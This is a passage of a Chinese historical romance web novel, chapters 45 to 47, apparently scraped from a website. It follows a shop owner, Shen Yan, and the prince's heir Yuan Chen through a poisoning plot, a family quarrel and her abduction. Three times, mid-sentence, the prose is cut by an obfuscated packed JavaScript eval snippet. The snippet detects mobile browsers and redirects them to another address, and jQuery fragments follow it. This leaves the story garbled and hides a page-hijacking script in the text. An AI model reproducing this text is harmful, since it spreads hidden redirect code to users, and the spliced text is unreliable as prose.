沈妍自是明白这番话的深意，一面应承，一面向他敛衽叉手：“多谢薛参军提醒，大恩不言谢，他日必备薄酒向薛参军致谢。” “沈娘子客气了。”薛坚冲她颔首一礼，转身离去。 在沈妍视线外，他眼尾慢慢扬起。 总算护了她一次。 对薛坚而言，背后那个女人的一颦一笑仿佛春日韶光，从铅黑厚重的云层倾泻而下，只需一刹那，便足以照亮他的整片天地。 起初，兴许只是一点点萌芽，让家道中落、半身潦倒的他一次次在她身上看到希望，后来，那萌芽渐渐破土而出，不经意间长成参天大树，再无法轻易拔除。 哪怕明知那是他不可觊觎之人。 * 因为白天的中毒事件，这日点绛唇早早便打了烊。 最近分店开业未久，诸事繁杂，沈妍大部分时间都宿在店中。 二楼茶室，沈妍与小满、丁香三个关门说起今日之事，人人均觉后怕不已。 这次连小满都觉出不对，柳眉紧拧道：“这一而再，再而三的，居然有这么多人要找点绛唇的麻烦，咱们这是得罪谁了？” 关于此事沈妍心中虽隐有怀疑，但仍无法确定。经过这次，倒是终于见识到了在京城开店的艰难。 但凡一不小心惹得哪位权贵心情不爽，对方只消动动手指，她的小店便会朝不保夕。 一旁，丁香忍不住感慨：“今日幸亏薛参军及时赶到，否则就凭刑部那群人……后果简直不堪设想。” 话音落地，三人均是一阵沉默。 沈妍头一次意识到，仅凭着她们这些人，想在上都营商立足，恐非长久之计。 * 卫王府，迎晖阁。 长庚快步迈进书房，向坐在桌案前翻书的元琛报告：“世子，薛参派了人过来。” 元琛正在掀书的手指一顿，声音听不出什么情绪：“叫他进来。” 长庚应声出门。 不多时，一名黑衣武士入内，朝元琛恭敬地叉手。 “那对兄妹可审出了什么？”元琛开门见山道。 黑衣武士点头：“还没怎么用刑，便全交代了。”说着双手呈上一份按着朱砂手印的口供。 “很好。”元琛接过口供神色无波道，视线在供纸上快速一扫，复又递还给对方，“叫薛参把这个誊一份，给桓延寿送去。” “是。” * 掌灯时分，韩国公府，桓莹玉闺阁。 桓莹玉端坐在梳妆镜前，指尖捏着沾染了清水的帕子，在下唇用力一抹，原本附在唇上的绛色顿时被擦抹干净。 认真审视着自己线条淡红饱满的下唇，她心满意足地弯起唇角。 宝瓶行色匆匆地进来，弯身附在桓莹玉耳畔嘀咕了几句。 后者神情凝住，少顷侧头看向宝瓶，眼底布满惊愕。 此时，外面大门哐当一响。 尚未脱去官服的韩国公桓延寿面目沉寒，边大步迈入堂屋，边厉声喝道：“叫郡主出来！” 几名女使打量家主的脸色全都慌了神，其中一个颤声应了句，急急忙忙冲进内室请人。 不多时，桓莹玉在宝瓶搀扶下来到堂屋，望着背对她焦躁踱步的桓延寿，桓莹玉一礼尚未福下去，后者转过身来，蓦地重重一记耳光甩在她脸上。 “混账东西！”桓延寿额头青筋条条暴起，“竟敢假借我的名义动用刑部的关系，你好大的本事！” 45. 续约 桓莹玉捂着脸上瞬间肿起的指印缓缓下跪，双眸虽颤着水光，目光却坚定又疯狂。 宝瓶等人见状慌得跪了一地，几名婢子嘤嘤低泣着：“老爷息怒！” 桓延寿面色沉得快滴出水来，冷声质问桓莹玉：“说，你为何指使人去诬陷一个侍婢？” 桓莹玉闻言，心头涌起铺天盖地的讽刺与悲戚，少顷，她面皮抽了抽，终是化作一声轻嗤。 怎么？在这件事上，连父亲也要向着外人，不肯帮自己的女儿？ 从前，无论她要什么，父亲都会尽力满足，不想如今却为一个不相干的贱妾动手打了她。 她双唇隐隐泛白，含泪盯着桓延寿：“父亲难道不知晓女儿的心思？这么多年了，我终于等到表兄回京的一日……女儿这次非他不嫁。” “你！” 听见这话，刚还气势汹汹的桓延寿仿佛突然泄了气，抬手指着桓莹玉，连声音都在发颤，“为区区一个男人，险些坏我桓家的大事……妇人之心，愚不可及！” 最后一句，他说得痛心疾首，对这个他多年悉心教导出来的女儿倍感失望。 桓莹玉看着父亲的表情，心脏一阵抽痛。她虽然任性，却从未在大事上顶撞过父亲，但这次她却红着眼眶，梗着脖子说道：“女儿偏生就见不得表兄被那个侍妾所迷——” 一语未了，被桓延寿厉声喝止。 毕竟是他的爱女，总不能眼睁睁看着她跌落深渊，既然此事已经不可调和，不容商议，那么—— 他闭了闭眼，再睁开时像是给桓莹玉下最后通牒，口气生硬地说道：“以后禁止你与元家人再有任何往来——嫁元琛更是想都不要想。” 桓莹玉瞧着父亲，身子不由颤了颤，像一条垂死挣扎的鱼。 过了好一会儿，她拼力抬起头，双目赤红地盯着桓延寿，沙哑的气声挤出两个字：“为何？” 桓延寿眯了眯眼，鹰隼般的眸中凌芒一闪，声音又沉又缓：“你很快便会知晓。” “不！”桓莹玉尖声叫道，似被父亲这句话吓着了，越发面色惨白得鬼魅一般，一把抓住桓延寿的袖口，她气息不稳地战兢兢脱口，“父亲要与元家为敌？” 桓延寿沉默未答。对这个独女，他从未对她说过一句重话，此刻却破天荒地拂袖甩开她，沉声下令：“自今日起，罚郡主在祠堂内禁足，没我的命令不准踏出祠堂半步。” 话音落地，桓莹玉忍了许久的眼泪终于断了线的珠子般夺眶而出：“父亲——”她急忙还要与桓延寿说什么，但任凭她如何哭喊，桓延寿终是头也不回地摔门而去。 昏暗的墙角，怒冲冲一路疾行的桓延寿似猛地想到了什么，脚步顿住。 适才挂在脸上的怒容一点点消散褪去，嘴角却慢慢浮起一抹阴狠：“元琛啊元琛，原来你的弱点在这。” * 自毒口脂事件后，沈妍的点绛唇便时时戒备，行事处处加倍小心，唯恐哪个环节出现错漏，被有心人拿住把柄。 这种被敌人暗中窥伺的感觉，令沈妍身心俱疲。 是日暮鼓将近，点绛唇大堂内，沈妍正亲自指挥伙计们整理货品，无意间回头，看见街对面的老槐树下站着一道熟悉的身影。 沈妍一愣，惊讶脱口：“世子？” 店门口，元琛有些不自在地踱步过来。 避开沈妍的视线，他开口支支吾吾：“刚好下职路过……想到最近不怎么太平，就……一起回府吧？”他眼神有点飘，言罢动作僵硬地掩口清了清嗓子。 沈妍：“……”世子又要亲自接她回府？ 这么想着，她扭头朝周围张望了一圈，继而讶异道：“世子，长庚呢？” “哦，”元琛道，“临时有件急事叫他去办。”说着曲起食指，在那高挺的鼻尖上蹭了蹭。 此时金乌西坠，晚霞给男人雕塑般的玉颜涂上了一层红晕。 沈妍瞧着他，莫名觉得世子这样有几分可爱，“噢。”了一嗓子，她没再追问下去。 “那妾回店中交代几句。”她听见自己说，转过身时不自觉唇角微扬，心底漾起丝丝缕缕暖意。 她很快再次返回，因为宵禁的缘故，此时街道上已经没剩下什么人，道边零零星星传来店铺关门打烊的声音。 两人也约好了似的都没出声，慢悠悠朝着卫王府方向溜达，在街面上拖出两道长长的影子。 “毒口脂一事，多谢世子援手。”片刻后，沈妍率先说道。 话落，元琛略略偏头，似有些讶异地看了她一眼。 像在回答他的疑问，沈妍自顾自继续说道：“妾知道，这世上并不存在那么多幸运与巧合，若非世子暗中照拂，小小一家口脂店，如何能惊动翌卫？而敢从刑部手上抢人，并非薛参军能做主之事。” 元琛没接话，闻言视线不自觉落在沈妍身上，她似乎少了平日里那股精神气，平静得像个出世的活菩萨，料想当是最近店中接连出事导致。 看着这样的沈妍，他心口像被什么剜了一下，刹时钝痛蔓延。 “事情都过去了。”他忽然开口，“你也不必灰心，有本世子在，没人为难得了你。”他说话极少这般直白，此刻却还是忍不住道。 “谢世子一番好意。”沈妍兀自出着神，“只不过，上都水深复杂，恐怕并不适合我这种小鱼小虾，等过一阵子，世子的事办完，我想——” “我想续约。”元琛冷不丁声音紧绷地开口。 他脚步顿住，眼不错珠地紧紧盯着沈妍，仿佛若不如此，她便会从他眼前消失似的。 沈妍错愕地抬眸看向他，心底像有某个重大发现破土而出，却又被她死死压制，生怕结果其实并不是她想的那样。 这么望着元琛，她不由浑身紧张起来，手心微微出汗。 “我是说……”像意识到什么，元琛又磕磕绊绊补了句，“我恐怕没那快回北境。” 话落，周遭静了一瞬，随即沈妍轻轻“哦”了一声。 她肩膀略沉了沉，明明是放松下来，样子却有一点失落。 元琛并未注意到，说完那句，他甚至都没敢看沈妍。 此后二人皆是一阵沉默。 元琛感觉时间变慢了许多，慢得他有点心慌。在沈妍视线之外，他轻轻闭了闭眼，像在等待一个审判。 不知过了多久，终于听见沈妍道了声：“好。” 闻言，元琛几不可察地浑身一松，无比想出口的话却生生卡在喉咙里，心口泛起难以言喻的酸涩，丝丝缕缕，却难过得令人窒息。 沈妍再次觉出世子今日的异常：想说什么却欲言又止的样子。 她想问明原因，又很怕问出口，抿了抿唇，还是很有自知之明地打了退堂鼓。 自从上次点绛唇出事后，元琛但凡得空， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715057|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下职便会亲自来接她。 对此，沈妍越来越心绪不宁，生怕元琛对她太好，更怕自己沉浸于这样的好。 果真如此，她离开时会很不习惯吧？ * 这日午后，点绛唇二楼小作坊内，沈妍边研磨香料，边怔怔出神。 小满脚步轻快地敲门进来，脆声道：“主子，顾御史府上顾大娘子到访。” 闻言，沈妍放下手头的事，下楼迎出去。 经过这段时日相处，她和顾婉仪均觉彼此投缘，相互间往来日益密切，尤其匾额事件后，两人已经以姐妹相称。 这厢，将顾婉仪请进雅室，沈妍亲手调制了一壶香引子端来。 “我听说有人诬陷点绛唇售卖毒口脂，想想真是叫人后怕。”顾婉仪看没有外人，单刀直入地说，顿了顿，她一脸忧心地望着沈妍，“妹妹近日可好？” 沈妍没事儿人似的颔首：“还好。” 她越硬撑，顾婉仪越是心焦，追问起下毒事件的来龙去脉。 沈妍一五一十地同她说了，顾婉仪听后静默良久，最后秀眉微蹙，语气有些意味深长：“眼下点绛唇有元将军相护，固然可规避掉许多麻烦。” 一语正说中沈妍心事，想到她和元琛的契约早晚有结束之日，往后总不能事事仰赖人家。这不仅不切实际，也非她所愿。 此外，她听出顾婉仪话里有话，遂直言问道：“顾姐姐想说什么？” 顾婉仪默了默，思忖着说道：“我怀疑那对兄妹背后有人指使。” 沈妍深以为然地点头：“我也这样认为，就不知那人是谁。” 顾婉仪秀美轻蹙，叹了口气：“上次是平陵郡主纵马撞你，这次几乎能肯定有人在背后指使，意图诬陷于你，下一次又会是谁？” 她顿了顿，抬睫审视着沈妍，“我冷眼瞧着妹妹并非依附男人、贪慕权贵之辈，故而对元将军想必是真心相悦？” 话音落地，沈妍怔了怔，一时既没点头，也未否认。 又听顾婉仪道：“妹妹勿怪我多嘴，如今这世道，咱们身为女子，还是该为自己做个长远打算。恕我直言，妹妹如今的身份实乃众矢之的，对方偏偏又是连皇族都敬畏三分的北境将军、卫王世子。妹妹可曾想过，倘若有朝一日元将军娶了正妻，你当如何？” 沈妍心说她应该等不到那一日。虽然这早已是既定结果，但与元琛相处日久，她却不时生出不切实际的妄念。近日每念及此，心中不免一阵酸苦。 因为与元琛的契约是机密，她无法对顾婉仪吐露，此时只想让对方宽心，于是说道：“我自是不会在他人手底下讨生活。” 仿佛早已知晓这个答案，顾婉仪颔首，随即敛容道：“这正是我所忧心的。今日此行，我就是想提醒妹妹早做打算，莫要让自己立于危墙之下。” 沈妍如何不明白，顾婉仪不顾忌讳，坦诚地与她说出这番话，实是句句为她着想。 之后两人又说了一会儿体己话，不多时顾婉仪告辞，沈妍出去送她。 事后回到作坊，独自愣坐良久。 顾婉仪的提醒她如何不懂，只是一直不愿去想。 如今，她不得不承认自己心悦元琛，但两人不过是落花流水，更何况还隔着不可逾越的鸿沟天堑。 人贵自知，她很清楚自己的底线在哪，趁眼下没有陷得太深，还是早些抽身为好。 46. 棋子 夜阑人静，韩国公府内院祠堂。宝瓶推门而入，转身轻手轻脚地合上了门扉。 她一边快步走到跪在蒲团上的桓莹玉跟前，一边压着嗓子兴奋道：“郡主，好消息。” 桓莹玉原本覆着一层死灰般的俏脸上似有什么一闪，闻言慢慢转头看向宝瓶。 像得了什么了不得的消息，宝瓶深吸一口气，眼波闪闪地宣布：“老爷准备收拾卫王府那个贱婢了。” 话落，桓莹玉遍布血丝的眼中动了动，似不可置信道：“当真？” “千真万确。”宝瓶语气笃定，“婢子适才去请夫人为您求情，路过西书房时听见里头在议论抓点绛唇女掌柜——可不就是姓沈的那个侍妾吗？奴婢故意在附近磨蹭了一会儿，后来果然看见盐帮的人从老爷书房里出来。” 她满怀期待地抬眼看向桓莹玉，视线相触，后者脸上浮出些死灰复燃的活气。 宝瓶道：“别看老爷表面严厉，心里还是关心郡主的，只要老爷肯出手，那个贱人必定没活路。” 桓莹玉像在领会她这句话的意思，若有所思半晌，轻轻点了点头。 虽然她暂时还看不懂父亲的意图，但他要对姓沈的动手应该不假。 念及此，桓莹玉美眸中寒芒一闪。 * 这日元琛遇上件棘手的事，下职后急着回府处理，故而无法“顺路”去接沈妍了。 事情办妥后天色尚早，元琛抬眸看了眼窗外，少顷还是换了件常服往书房门口走。 长庚快步赶来，看见世子换了装微微一愣，随即挠头，有些为难道：“世子，程思弼到了。” 书房内，元琛三言两语问明程思弼又是为他的私事而来，面色一点点沉下去。 似乎想到了什么，他皱眉下令长庚和侍卫们全都退下。 长庚心知世子好面子，尤其涉及婚事，最忌讳在人前谈论，即使下人也不行。 闻言，他忙应声出去传话，临走时还顺手帮主子把门从外面合上了。 “近日有关世子宠妾一事闹得满城风雨，世子对此可有什么要解释？”圈椅上，程思弼面色凝重地开口。 这人真是，想必是因为给卫王做心腹太久，代表他传话时，连自己的身份都快忘了。 元琛瞟他一眼，嘴角勾起一抹冷嘲：“对你？” 闻言，程思弼这才面色一僵，道：“不敢，自然是对王爷。” 顿了顿又道，“不过，所谓坏事传千里，世子尚未大婚，如此高调宠幸一名侍妾，若想王爷不知也难。” 元琛冷嗤一声，眼底染上晦暗：“父王知道又如何？” 程思弼眉心快拧成疙瘩，顿了顿，他深吸一口气，再度开口时声音寒浸浸道：“王爷确实没想到世子对联姻之事如此反感，不过有一点——世子拒绝娶亲，该不会是那个侍妾的意思吧？” 话音落下，元琛面上看不出什么表情，原本搭在圈椅扶手上的右手却陡然捏紧。 看着前方阴鸷、探寻的眼睛，他脑中却闪过一双剪水明眸，湿漉漉、小鹿般可怜巴巴望着他。 须臾，仿佛听到了一个极尽荒唐的笑话，他薄唇微勾，冷嗤：“一枚棋子罢了。程长史觉得本世子会被一个女人摆布？” 程思弼默然看了元琛一会儿，末了声音沉缓道：“英雄难过美人关，但愿世子不会做出不顾大局之事。” 这算是一句警告。 元琛知晓父亲的手段，此前任何有碍于大计的人和事，均无一幸免。 此刻他薄唇微抿，面上仍无波无懒，桌下握拳的指骨却已隐隐泛白。 片刻，他唇角微勾，语气轻慢道：“论顾全大局，我自是比不得父王，做出那等迎娶平妻之事。” 话落，程思弼额角一跳，面色僵硬难看。 想必在思量这句要不要转达？ 元琛哂笑：“你可以告诉王爷不必多虑，女使也好，侍妾也罢，沈氏不过是我临时雇用的一枚棋子，程长史不是第一天认识我，本世子怎会对那种女人动心？” 对面安静了两息，程思弼小心翼翼审视着元琛，似在揣度他这句话的真假，须臾终于叉手道：“世子心中有数便好。” 便在此时，院内传来一声响动。 声音很轻，但还是没逃过元琛的耳朵。 “谁？”他低喝一声，继而想起侍卫们已全部被他清场。 这个时间，他的院内不应该再有别人。 话落，外面果然没有回音。 狂风骤起，吹得残叶与沙石翻卷乱窜，不时发出杂乱的响声，想必又是一场暴雨。 * 铅云低垂，阴风呼啸，街边一排老柳树的枝条疯狂摇摆。 眼看大雨将至，适才还繁华热闹的街市转眼人群四散奔逃，摊位七零八落，只余满地狼藉，仅剩下的三两个行人，也是个个行色匆匆。 期间，仅有一位头戴围帽、臂弯挎着青布包裹的女子慢吞吞地走在街边，任狂风掀起她围帽上的轻纱，将一头青丝吹散，露出轻纱后丢了魂般苍白、麻木的俏脸。 两炷香前，因赶着研制新品，沈妍急需一味香料。 当时能买到此香的市场均已关闭，点绛唇小作坊又缺货，她想起只有兰竹轩还存着一些，看时辰来得及，便想亲自去趟王府取回。 结果刚进府门，迎面遇见长庚。他说世子临时回府办事，又惊讶沈妍今日居然回来这么早。 沈妍说只是回来取样东西，今日店中忙碌，过会儿还要回去。 长庚随口道：“我看世子原还打算出门，八成是要去接沈娘子。” 沈妍愕然道：“世子既然都回来了，为何还要再跑一趟？” 长庚抿了抿唇，似有什么难言之隐地支吾：“沈娘子当真不明白？” 沈妍摇摇头，这会儿急着找东西，她可没工夫同长庚在这闲聊，只道自己还有急事少陪，便匆匆忙忙往兰竹轩去了。 拿完东西临走前，她想今日回到店中天色已晚，不便再回王府。 此刻来都来了，该去同元琛打声招呼才是，也免得他再麻烦长庚去接她。 不曾想靠近迎晖阁时，她讶异地发现院内居然一个侍卫都没有，再往里走，又听见书房中有人说话。 沈妍自是不便冒然闯入，脚步迟滞一瞬，正要转身离开，忽听元琛的声音清晰地从书房传出。 “一枚棋子罢了……女使也好，侍妾也罢，沈氏不过是我临时雇用……本世子怎会对那种女人动心？” 虽然这番话自元琛口中说出再正常不过，可不知为何，沈妍听后心脏还是不可抑制地狠狠抽痛了一下。 只是……一枚棋子而已吗？ 原本的确是这样，只不过相处久了，感受着对方点点滴滴的好，她渐渐有些忘了自己的身份，甚至偶尔还会生出些许不切实际的念想…… 适才若非亲耳听见那些话从元琛口中说出，她恐怕还继续浑浑噩噩下去。 只是，她有些不明白，既是棋子，世子为何还要日日亲自接她回府？之前又为何对她那么好？ 沈妍想冲进去问个明白，但显然此时此地并不合适。 唯一确定的是，是时候该与过去的妄念做个了断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737693|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 * 骤雨初歇，暮鼓响过第六遍后，厚重的坊门缓缓关闭。 宵禁阻断了各坊之间的往来，但坊内的喧哗热闹却仍未停息。 点绛唇对面，彻夜不眠的仙客来茶楼内，今夜是暗卫祝颖轮值。 她闲来无事，靠坐在二楼临窗一角，慢悠悠品着今年的春茶。 身为女子，又兼具不俗身手，祝颖在卫王府一众暗卫中算是稀有，常能帮元琛完成某些特殊任务，故而领的酬劳与赏赐也较别的暗卫丰厚不少。 也正是源于这层身份便利，近日祝颖除了帮元琛盯着点绛唇外，也负责暗中保护沈妍。 比如，上次那对兄妹带人过来闹事，正是祝颖及时派人通知了薛坚。 这厢，祝颖边喝茶边从支开的窗口瞥一眼点绛唇内的动静。 此时对面窗还没关，可以依稀窥见里面的状况。 祝颖觉得沈妍这几日貌似心神不宁，不知是店里遇上了难事，还是别的缘故，尤其适才从卫王府回来，整个人显得魂不守舍。 在桌边愣坐了好一会儿，她才想起什么似的走到窗口，放下了窗子。 祝颖瞥见沈妍表情木然的脸，“嗒”一声撂下建盏，口中纳闷地轻“嘶”一声，莫名觉得事好像有点大。 是不是该报给世子知晓？ 她心里衡量着，凭借多年做暗卫的直觉，祝颖隐有种不好的预感，自此对点绛唇观察得也格外留神。 夜色阑珊，除了彻夜营生的酒楼、茶舍、逆旅，一切皆归于沉寂。 两道黑影鬼魅般飘向点绛唇。 正捏着茶点的祝颖敏锐地察觉到什么，神色一凛，蓦地偏头看向对面，随即目光滞住。 祝颖眼力极佳，借着点绛唇内影影绰绰的烛火，可以清楚地看见一楼和二楼两个窗口外，各有一名身穿夜行衣的人鬼鬼祟祟。 “宵小之辈！”祝颖低骂一声，矫捷的身形狸猫般径直从窗口窜出，扑向那两道黑影。 对方当即察觉，不等祝颖靠近，脚下发力，燕子点水般反身逃离。 祝颖见状紧随其后，同时打手势示意藏在附近的另一名暗卫跟上，誓要将这些屡次作乱的贼子拿下。 黑暗中，四道身影在坊间屋宇与墙垣间起起落落，如灵猫，似飞鸟。 前方，两名黑衣人轻功不俗，祝颖二人追踪良久，始终不远不近地隔着一块，同时，对方竟能灵巧地避开祝颖等扔出的暗器。 看来碰上硬茬了。祝颖微微皱眉，继而意识到什么，心下一沉。 身手这么好，对方却完全没有交手的打算——坏了，中计了！ * 一盏茶前，点绛唇外，就在祝颖与另一名暗卫追出后不久，又有数名黑衣人悄无声息地靠近，影子般从各窗口及大堂潜入…… 这厢，祝颖急忙招呼同伴返回点绛唇。 二人施展轻功，脚步奇快，不到一盏茶工夫，便从临坊赶回。 却见店内原本零星亮着的灯火已全部熄灭，整栋楼透着诡异地安静。 祝颖心咯噔直往下沉，忙不迭冲过去时，脚步都有些踉跄。 一把推开虚掩的房门，她看见大堂内，门房连同值夜伙计均人事不知地躺倒在地，旁边，桌椅和地面上残留着不多的血迹。 祝颖大步跨上前，蹲身探了探二人鼻息，所幸人无大碍，只是被打昏过去。 但她丝毫不敢松懈，急忙又三步并作两步地冲上二楼。 那的情况与大堂相似，小满和丁香两个是中了迷药晕倒，唯独沈妍哪里都找不见踪影。 47. 劫匪 卫王府，程思弼离开时已近宵禁时分，随后又是一场滂沱大雨。 元琛瞅了眼外面阴沉的天色后微微皱眉，忽然感觉周围一切都在同他作对。 不过，他从来不是什么任人拿捏之辈，往往情况越是糟糕，他反而越会被激起斗志，犹如在战场上，敌人越强大凶悍，他便越不肯服输。 同样不肯服输的，还有他对另一个人的思念。 起初，那种感觉就像一根纤细的羽毛，轻轻扫过心头，激起柔软微痒的触感，却怎么都挥之不去。 等他有朝一日察觉，却已成千钧之势压在心口，令他无力承受，窒闷难当。 外面雨声渐歇。 元琛从桌旁拎起一把油纸伞，快步冲进沁凉的雨丝中。 一个声音在他耳边咆哮，直吵得他脑仁疼：“荒唐！这算什么？这样做的后果，你承担得了吗？” 巨大轰鸣吵得他头疼欲裂，脚步也随之顿住。 片刻拖延，长庚已撑着伞从院外走来，瞧见元琛讶然道：“世子这会儿打算出门？” 这一问将元琛的神志又拉回来一些，他没有作答，捏着伞柄的长指却是一松：“随便走走。” 随即，好像真的只是突然来了兴致，想雨中漫步一般，他往旁边挪动了几步，接着又转身，慢吞吞往回走。 终究还是不死心。边走，他边状似不经意随口一问：“沈娘子那边今日可有什么消息？” “噢，沈娘子说她今日有些忙，晚上便留在店中，不回王府了。”长庚跟在他身后说道。 元琛步履未停，喉咙里低低应了一声。 长庚瞅着世子的背影，心里涌上几分莫名的难过，总觉得世子今日哪里透着古怪，虽然只是擎了把伞，脚下倒像有千斤重，压得他迈不动腿似的。 走了两步，元琛仿佛意识到什么，蓦地身形顿住，一字字像疑惑自语，又像在问长庚：“沈娘子说？” 这句提醒了长庚，他忙道：“沈娘子适才回来过一趟，说是来取香料，想必店中有急用，取完东西便走了。” 元琛心里咯噔一下，蓦地回身盯住长庚，凝肃、紧绷的声音将后者吓得一哆嗦：“她何时走的？” 长庚被盯得浑身发毛，心虚道：“……就不久前，小的还以为她同您打过招呼了。”言罢似乎想到什么，疑惑道，“想必是听见程长史在……便没有进门？” 话落，元琛的表情一点点凝固。 须臾，像是从噩梦中醒过神，他忽然一言不发地大步地朝院外走，惨白的脸色瞬间让长庚意识到出事了。 至于什么事，他暂时没敢问，只弱弱道了声：“世子？” “备马！” 元琛头也不回地吩咐，长庚纵使一脸懵，还是忙不迭地照办。 ——突然间怎么了这是？ 不过看样子世子确有急事，而且还十万火急。长庚自是片刻不敢耽搁，手脚麻利地将世子的乌驹马牵到直通坊外的角门边，直到元琛跨上马背，才想起什么，脱口道：“世子，您这是要——” “点绛唇。”元琛丢下三个字，催马冲出门去。 长庚：“……” 莫非点绛唇又出什么事了？ 这都已经宵禁了，世子急成这样，倒像顾不得白天黑夜，宵禁与否，下雨还是下刀子…… 可，明明方才还好端端的…… 这事不光长庚纳闷，连元琛自己也不知怎么，想到他对程思弼说的那番话被沈妍听见，一下子就慌了神。 * 这个季节的雨来得快去得也快，一炷香前还是瓢泼之势，此刻已然有云破月出之象。 夜凉如水，空无一人的街心，元琛一路策马狂奔，因不受宵禁限制，很快畅行无阻穿过了两道坊门。 不料驰到东市附近时，竟与祝颖迎面碰上。 元琛借着月光打眼认出来人，顿时生出一股不好的预感，眉目微沉，他勒停了战马。 前方，祝颖向他躬身叉手，神色凝重道了声：“世子。” 猛然意识到什么，元琛心头一突，长指捏紧缰绳，沉声道：“出了何事？” 祝颖：“属下办事不力，沈娘子……叫人给劫走了。” 闻言，元琛只觉血流自心头忽往上涌，流经耳畔时嗡嗡作响，有一瞬，大脑空白了一下，让他骤然失去思考能力。 但很快他便强迫自己镇定下来，开口问祝颖：“可知是被何人劫走？” 祝颖于是将今晚发生的事快速向他交代了一遍。 元琛边听脑子边飞速运转。 究竟是何人劫走了沈妍？ 在他的暗卫手底下将人抓走，绝非寻常劫匪能够做到。 眼下，他和沈妍的关系早已昭然若揭，寻常人又有谁有这个胆子同卫王府作对？ 他首先想到的竟然是他父亲卫王，但随即又否定了这个猜测。 只因傍晚他才见过程思弼，对方明显意在敲打，还不至于到对沈妍动手那一步。 另外，他的应对暂时也足够蒙混过关。 除了父亲，还能有谁？ 元琛继而想到桓莹玉，不过，自从上次他将那份口供转给桓延寿，对方已然消停下来。 他料定老东西不会再放任女儿胡来，至少短期内不会。 那么，还有谁有这样的胆量与手段？ 元琛用力掐了掐眉心，心中隐约有个不可思议的猜测，虽然眼下尚无法肯定。 当务之急是尽快锁定劫匪的行踪，找到沈妍。 既然人是从点绛唇被劫走，现场说不定会留下痕迹。 念及此，他吩咐祝颖：“先回点绛唇。” * 元琛带同两名暗卫，将点绛唇里里外外及附近全部搜察了一遍，试图从中找到蛛丝马迹。 果然，不多时，祝颖在不远处的街角捡到了一条帕子。 这帕子她曾见沈妍拿过。祝颖心细，捡到帕子的霎那几乎立刻认出是沈妍之物。 她第一时间将帕子拿给了元琛。 后者将帕子攥在手中，骨节分明的长指微微打着颤，只略加思索，他便飞身跨上了战马。 世子打算亲自去追踪劫匪？ 祝颖一愕，脱口提醒:“世子，对方人数不少，而且个个身手不俗，是否多备些人手——” 话音未落，元琛已纵马冲出去，慌乱的马蹄声中，只撂下一句：“通知其他暗卫。”便迅速消失在夜色中。 祝颖瞪着前方愣了愣，本就愁闷的脸又染上一层忧色。 虽然早料到沈娘子在世子心中的分量非比寻常，但眼下见他这般反应，还是把祝颖下了一跳。 只消稍微理智些，便不难想到，此事并非劫匪绑票那么简单。 哪曾想世子竟是不假思索，单枪匹马冲了出去。 这还是自家那个城府深沉、稳重周全的少主吗？ 不过，世子行事又岂是她一个小小暗卫能参透的？ 眼下唯有尽快邀集人手，全力保护世子和沈娘子的安危。 ——越快越好！ * 越快找到沈妍，她生还的希望便越大。 元琛频频催促战马，虽心急如焚，思绪却一刻未停。 劫匪绑架沈妍时已是宵禁时分，各坊门都有武侯铺，坊内又有巡察，绑匪几乎没可能公然带着人离开。 那么后续必有接应。 而他们的去向不外乎两种：要么将人暂时藏匿于某坊，要么把人带出城外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754469|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是前者，逐坊搜索时间长、难度高，等找到人后会发生什么，元琛甚至不敢去想…… 而若是后者，眼下去追兴许还来得及。 愿诸天神佛能够保佑沈妍，并给他一线生机。 元琛从不相信鬼神，但这一刻却无比希望有。 这么想着，他来到最近的武侯铺，向值夜人打听，那武侯说按世子所问的时辰，只有一辆来往宫中的薪炭车打此经过。 因对方手中有官署文牒，符合放行条件，武侯遂未阻拦。 元琛忙又追问去向。那武侯说奔城南去了。 以运送薪炭作掩护，便于隐匿、运输，堪称“劫匪”行动的完美借口。 想到此事早有预谋，元琛眸底顿时一片森寒。 至此，之前的某个猜测愈加清晰。 如今在上都城，敢公然与卫王府作对的能有谁？ 他还真是小看了桓延寿！ 当初抄送那份口供给他，固然能阻止桓莹玉继续胡来，他却万没料到，老贼会在这个档口狗急跳墙。 果真如此，就是他害了沈妍。 思及此，元琛心口难以言喻地钝疼难忍。 忽然，他又想到了什么，冷厉的眸光沉下来。 那伙人并未立刻动手杀害沈妍，而是将人掳走，不排除是想与他谈条件，又或者，他本人才是他们真正的目标。 这一发现令他心绪稍缓。 那么按照这个推测，在他露面之前，沈妍兴许暂时还无事。 他飞快转着念头：北境与桓延寿均心知肚明，眼下这个局面，双方哪有什么条件可谈？ 所以，对方的目标显而易见。 加上“绑匪”如此故意暴露踪迹，这不是引他前去是什么？ 相通此节，他轻吐出一口气，却愈发纵马加快速度，如离弦之箭冲入无边夜色。 